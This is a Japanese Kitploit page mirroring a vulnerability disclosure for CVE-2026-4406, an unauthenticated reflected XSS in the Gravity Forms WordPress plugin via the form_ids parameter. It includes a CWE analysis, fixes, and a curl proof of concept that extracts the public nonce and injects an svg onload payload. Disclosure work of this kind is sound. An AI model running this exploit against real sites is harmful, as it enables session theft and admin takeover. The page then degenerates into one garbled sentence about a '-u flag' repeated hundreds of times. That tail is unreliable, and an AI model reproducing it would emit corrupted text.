Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4406 — Gravity Forms プラグイン(WordPress 用、バージョン 2.9.28 まででテスト済み)は、`gform_get_config` AJAX アクションの `form_ids` パラメータを介した、認証されていない反射型クロスサイトスクリプティング(XSS)に対して脆弱です。 | Kitploit
ツール/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4406
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubhann1bl3l3ct3r/cve-2026-4406

CVE-2026-4406

Gravity Forms プラグイン(WordPress 用、バージョン 2.9.28 まででテスト済み)は、`gform_get_config` AJAX アクションの `form_ids` パラメータを介した、認証されていない反射型クロスサイトスクリプティング(XSS)に対して脆弱です。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Gravity Forms <= 2.9.28 — gform_get_config の form_ids パラメータを介した未認証リフレクション型クロスサイトスクリプティング

脆弱性概要

{"success":true,"data":{"common":{"form":{"pagination":{"":null}}}}} {"success":true,"data":{"common":{"form":{"pagination":{"":null,"":null}}}}}
フィールド値
影響を受けるソフトウェアGravity Forms(WordPress プラグイン)
ベンダーRocketgenius, Inc.
脆弱性タイプCWE-79: Web ページ生成時の入力の不適切な無害化(リフレクション型クロスサイトスクリプティング)
CWE チェーンCWE-20 → CWE-116 → CWE-838 → CWE-79(以下の CWE 分析を参照)
影響を受けるバージョン2.9.28 で確認(発見時点の最新版)。それ以前のバージョンも影響を受ける可能性が高い
修正バージョン2.9.30.1(ホットフィックス)
CVSS 3.1 スコア6.1(中)
CVSS 3.1 ベクターAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
必要な認証なし(未認証)
ユーザー操作必要(被害者が攻撃者制御のページを訪問するか、細工されたリンクをクリックする必要がある)
発見者Anthony Cihan — Obviam
発見日2026-03-04
開示日2026-03-18
CVE IDCVE-2026-4406

Wordfence 公開記録


説明

WordPress 用 Gravity Forms プラグイン(バージョン 2.9.28 まででテスト済み)は、gform_get_config AJAX アクションの form_ids パラメータを介した未認証リフレクション型クロスサイトスクリプティング(XSS)に対して脆弱です。この脆弱性は、ユーザーが指定した form_ids 値が、サニタイズ、エンコーディング、出力エスケープのいずれも行われずに、サーバーの HTTP レスポンスにそのまま反映されるために存在します。レスポンスは Content-Type: text/html; charset=UTF-8 ヘッダーで配信されるため、ブラウザは反映されたコンテンツを HTML として解析・レンダリングし、注入されたスクリプト要素も含めて実行します。

未認証の攻撃者は、この脆弱性を悪用して、対象の WordPress サイトのオリジンコンテキストで任意の JavaScript を実行できます。gform_get_config アクションには有効な config_nonce が必要ですが、この nonce は Gravity Forms フォームを読み込むすべてのページの HTML ソースに公開埋め込みされているため、攻撃者は悪用リクエストを構築する前に、対象サイトの公開ページをリクエストするだけで有効な nonce を簡単に取得できます。

悪用に成功すると、攻撃者はセッション Cookie を窃取し、認証済みユーザー(WordPress 管理者を含む)に代わって操作を実行し、ユーザーを悪意のあるサイトにリダイレクトし、ページコンテンツを改ざんし、管理者アカウントの作成を通じて永続的なアクセスを確立することができます。


根本原因分析

脆弱なエンドポイント```

POST /wp-admin/admin-ajax.php

root@kitploit:~
### 脆弱なアクション```
gform_get_config

脆弱なパラメータ

args POSTパラメータは、form_ids配列を含むJSONオブジェクトを受け入れます。この配列内の値は、サニタイズなしでJSONレスポンス構造のオブジェクトキーとして使用されます:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

root@kitploit:~
### レスポンス動作

サーバーは `form_ids` の値を処理し、レスポンスボディ内のJSONキーとして反映します。レスポンスはHTMLコメントマーカーで囲まれ、`text/html` として配信されます。```
Content-Type: text/html; charset=UTF-8

<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->

これが悪用可能である理由

  1. 入力検証なし: form_ids の値は整数として検証されておらず、サニタイズもフィルタリングもされていません。サーバーはHTMLタグやイベントハンドラを含む任意の文字列コンテンツを受け入れます。
  2. 出力エンコーディングなし: form_ids の値はHTMLエンティティエンコーディングなしでレスポンスボディに反映されます。<、>、"、' などの文字は変更されずにそのまま通過します。
  3. HTML Content-Type: レスポンスは Content-Type: text/html; charset=UTF-8 で提供され、ブラウザにレスポンスボディをHTMLとして解析するよう指示します。反映された値内のHTMLタグは、ブラウザのHTMLパーサーによってインスタンス化されレンダリングされます。
  4. 公開アクセス可能なNonce: gform_get_config アクションで必要とされる config_nonce は、Gravity Formsフォームを読み込むすべてのページのJavaScript設定オブジェクト(gform_theme_config)に埋め込まれています。このnonceはすべてのページで同一であり、特定のユーザーセッションにバインドされていないため、認証されていないユーザーでも簡単に取得できます。

CWE分析

この脆弱性は、連鎖して悪用可能な状態を生み出す複数の寄与する弱点の結果です。CVE報告の目的では CWE-79 が主要な分類ですが、完全な連鎖は各障害がどのように積み重なって悪用を可能にするかを示しています。

弱点の連鎖```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

root@kitploit:~
### CWE-20: 不適切な入力検証(寄与要因)

**役割:** 根本的な有効化要因 — 悪意のあるデータが処理パイプラインに入り込むことを許します。

`args` JSONオブジェクト内の`form_ids`パラメータは、数値のフォーム識別子を含むことが想定されていますが、検証なしに任意の文字列入力を受け入れます。型チェック(`intval()`)、正規表現フィルタリング(`^[0-9]+$`)、既知のフォームIDに対するホワイトリスト比較、長さ制限のいずれも適用されていません。

**証拠:** サーバーは、HTMLタグ、JavaScriptイベントハンドラ、任意のUnicodeを含む`form_ids`値を受け入れ、拒否することなく処理します。```json
{"form_ids":["<svg onload=alert(1)>"]}    ← Accepted
{"form_ids":["3"]}                         ← Expected

CWE-116: 出力の不適切なエンコーディングまたはエスケープ(主要な技術的障害)

役割: 中核となる脆弱性 — XSS 状態の直接的な原因。

サーバーが form_ids の値を含む JSON レスポンスを構築する際、出力に HTML エンティティエンコーディングが適用されません。HTML で特別な意味を持つ文字(<、>、"、'、&)は、変更されずにそのままレスポンスボディに渡されます。PHP の htmlspecialchars()、esc_html()、JSON_HEX_TAG を指定した wp_json_encode()、または同等の出力エンコーディング関数は、form_ids の値がレスポンスに書き込まれる前に適用されていません。

証拠: リテラル文字列 <svg onload=alert(document.domain)> が、入力とバイト単位で完全に同一の形でレスポンスボディに出現します。&lt;svg onload=alert(document.domain)&gt; としては出現しません。

CWE-838: 出力コンテキストに対する不適切なエンコーディング(増悪要因)

役割: コンテキストの昇格 — データの反映問題を実行可能なコードインジェクションへと変換します。

レスポンスボディには JSON 構造化データが含まれていますが、Content-Type: text/html; charset=UTF-8 として配信されます。この Content-Type 宣言により、ブラウザの HTML パーサーはレスポンスボディ全体を HTML ドキュメントとして処理します。レスポンスが application/json として配信されていれば、ブラウザはレスポンスをプレーンテキストとしてレンダリングし、HTML パースは発生しません — インジェクションされたタグは DOM 要素としてインスタンス化されるのではなく、リテラルテキストとして表示されていたでしょう。

証拠:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

root@kitploit:~
`X-Content-Type-Options: nosniff` ヘッダーは存在しますが、サーバーが明示的に `text/html` を宣言しているため無関係です — 防ぐべき MIME タイプスニッフィングが存在しません。

### CWE-79: ウェブページ生成時の入力の不適切な無害化 — 反射型 XSS(結果的)

**役割:** 悪用可能な結果 — 実現された脆弱性。

3 つの寄与する弱点の組み合わせにより、反射型クロスサイトスクリプティング状態が生じます。ユーザー提供の入力は、HTTP リクエストからサーバー側処理を経て HTTP レスポンスへと、サニタイズ、エンコーディング、またはコンテキストに適した Content-Type 宣言なしに流れ込み、被害者のブラウザでの任意の JavaScript 実行をもたらします。

**サブタイプ:** 反射型(タイプ 1)— ペイロードは HTTP リクエストに含まれ、保存されることなく HTTP レスポンスに即座に反映されます。

### 概要表

| CWE ID | 名称 | 役割 | 単独で悪用可能か? |
|---|---|---|---|
| CWE-20 | 不適切な入力検証 | 寄与(根本的な有効化要因) | いいえ — 悪意のあるデータは入るがレンダリングされない |
| CWE-116 | 出力の不適切なエンコーディングまたはエスケープ | 主要な技術的障害 | 部分的 — HTML レンダリングコンテキストが必要 |
| CWE-838 | 出力コンテキストに不適切なエンコーディング | 増悪(コンテキストのエスカレーション) | いいえ — エスケープされていないデータが存在する必要がある |
| CWE-79 | クロスサイトスクリプティング(反射型) | **結果的(悪用可能)** | **はい — これが実現された脆弱性です** |

### 最小修正分析

以下のリストの**いずれか 1 つ**の修正でチェーンを断ち切り、悪用を防ぐことができます:

| 修正 | チェーンを断つ箇所 | 単独で十分か? |
|---|---|---|
| `form_ids` を整数に型キャスト | CWE-20(入力) | ✅ はい |
| 出力を HTML エンティティでエンコード | CWE-116(出力) | ✅ はい |
| レスポンスを `application/json` として提供 | CWE-838(コンテキスト) | ✅ はい |

**推奨事項:** 多層防御として 3 つすべてを実装してください。最も重要な修正は出力エンコーディング(CWE-116)です。これは、入力検証や Content-Type の変更に関係なく、現在および将来のインジェクションベクターから保護するためです。

---

## Wordfence 提出リファレンス

| フィールド | 値 |
|---|---|
| **ソフトウェアタイプ** | WordPress プラグイン |
| **ソフトウェアスラッグ** | `gravityforms` |
| **Wordfence Intel URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **影響を受けるバージョン** | <= 2.9.28(最新確認済み) |
| **脆弱性タイトル** | Gravity Forms <= 2.9.28 — `form_ids` パラメータ経由の未認証反射型クロスサイトスクリプティング |
| **CWE(主要)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **必要な権限** | 未認証 |
| **パッチ状況** | 2.9.30.1 で修正済み |

---

## 影響を受ける構成

### 必要なサーバー側条件

- Gravity Forms プラグインがアクティブな WordPress インストール(公開されたフォームが存在すること)
- `gform_get_config` AJAX アクションが登録されていること(プラグイン有効化時のデフォルト動作)

### Nonce のアクセス可能性

`config_nonce` は、Gravity Forms フォームを含む任意のページのグローバル `gform_theme_config` JavaScript 変数に埋め込まれています:```javascript
var gform_theme_config = {
  "common": { ... },
  "config_nonce": "9308d72c0a"    // ← Publicly accessible
};

このnonceは以下のように確認された:

  • ターゲットサイトの全ページで同一(ホームページ、フォームページ、フォーム非掲載ページ)
  • ユーザーセッションに紐づかない(Cookieの有無にかかわらず同じ値が返される)
  • リクエストごとにローテーションされない(長時間にわたり静的)

存在するセキュリティヘッダー(不十分)

ヘッダー値悪用可能性への影響
X-Content-Type-Optionsnosniff緩和効果なし — サーバーが明示的に text/html を宣言している
X-Frame-OptionsSAMEORIGINクロスオリジンからのiframeベースの悪用を防止するが、ポップアップ/リダイレクト経由の配信は依然として機能する
Content-Security-Policyframe-ancestors 'self';script-src ディレクティブなし — インラインスクリプトの実行は無制限
Referrer-Policystrict-origin-when-cross-origin悪用可能性への影響なし

概念実証

環境

コンポーネントバージョン
WordPress6.9.1
Gravity Forms2.9.28
WebサーバーApache (HTTP/2)
テストプラットフォームKali Linux、curl 8.x

ステップ1:有効なnonceを取得する

ターゲットサイト上でGravity Formsフォームを読み込む任意のページにリクエストを送信し、config_nonce の値を抽出する:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

root@kitploit:~
**出力例:**```
9308d72c0a

ステップ2: エクスプロイトリクエストを送信する

XSSペイロードを含む細工された form_ids 値を用いて、WordPressのAJAXハンドラーにPOSTリクエストを送信します:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

root@kitploit:~
### ステップ3: リフレクションの観察

**HTTPレスポンスヘッダー:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache

HTTPレスポンスボディ:```html

root@kitploit:~
`<svg onload=alert(document.domain)>` ペイロードは、レスポンス本文に**エンコードされることなくそのまま**反映されます。レスポンスが `text/html` として配信されるため、ブラウザは SVG 要素をインスタンス化し、`onload` イベントハンドラを実行して、ターゲットサイトのオリジンのコンテキストで JavaScript の実行をトリガーします。

### 追加の観察事項

**複数のペイロードを同時に注入できます**。`form_ids` 配列を介して:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

Response:

-u フラグは、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u 